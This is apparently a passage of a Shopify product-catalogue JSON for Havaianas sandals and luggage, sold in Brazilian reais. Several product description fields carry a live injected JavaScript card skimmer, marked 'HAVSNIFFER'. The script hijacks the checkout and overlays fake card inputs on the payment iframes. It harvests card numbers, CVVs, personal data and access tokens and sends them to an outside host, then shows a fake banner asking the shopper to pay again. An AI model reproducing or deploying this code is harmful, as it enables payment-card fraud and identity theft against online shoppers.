=\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus. Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés. O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra. O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Green \/ 41\/42","offer_id":45713005609217,"sku":"4149926_4896_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Green \/ 43\/44","offer_id":45713005740289,"sku":"4149926_4896_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Green \/ 45\/46","offer_id":45713114759425,"sku":"4149926_4896_456","price":159.99,"currency_code":"BRL","in_stock":false},{"title":"Green \/ 39\/40","offer_id":45713115087105,"sku":"4149926_4896_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Green \/ 37\/38","offer_id":45713163878657,"sku":"4149926_4896_378","price":159.99,"currency_code":"BRL","in_stock":false}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926_4896_HAVAIANAS-TRACK-PLUS_A.png?v=1734118449"},{"product_id":"chinelo-havaianas-track-plus-4149926-0090","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus. Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés. O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra. O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Black \/ 37\/38","offer_id":45713114300673,"sku":"4149926_0090_378","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Black \/ 39\/40","offer_id":45713163714817,"sku":"4149926_0090_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Black \/ 41\/42","offer_id":45713164108033,"sku":"4149926_0090_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Black \/ 43\/44","offer_id":45713164140801,"sku":"4149926_0090_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Black \/ 45\/46","offer_id":45713164173569,"sku":"4149926_0090_456","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926_0090_HAVAIANAS-TRACK-PLUS_A.png?v=1734118155"},{"product_id":"chinelo-havaianas-track-plus-4149926-5568","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus. Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés. O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra. O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Orange \/ 37\/38","offer_id":45713115054337,"sku":"4149926_5568_378","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Orange \/ 41\/42","offer_id":45713115316481,"sku":"4149926_5568_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Orange \/ 45\/46","offer_id":45713115513089,"sku":"4149926_5568_456","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Orange \/ 43\/44","offer_id":45713116659969,"sku":"4149926_5568_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Orange \/ 39\/40","offer_id":45713164271873,"sku":"4149926_5568_390","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926_5568_HAVAIANAS-TRACK-PLUS_A.png?v=1734118154"},{"product_id":"mala-de-viagem-havaianas-4149916-9109","title":"Mala de Viagem Havaianas","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} 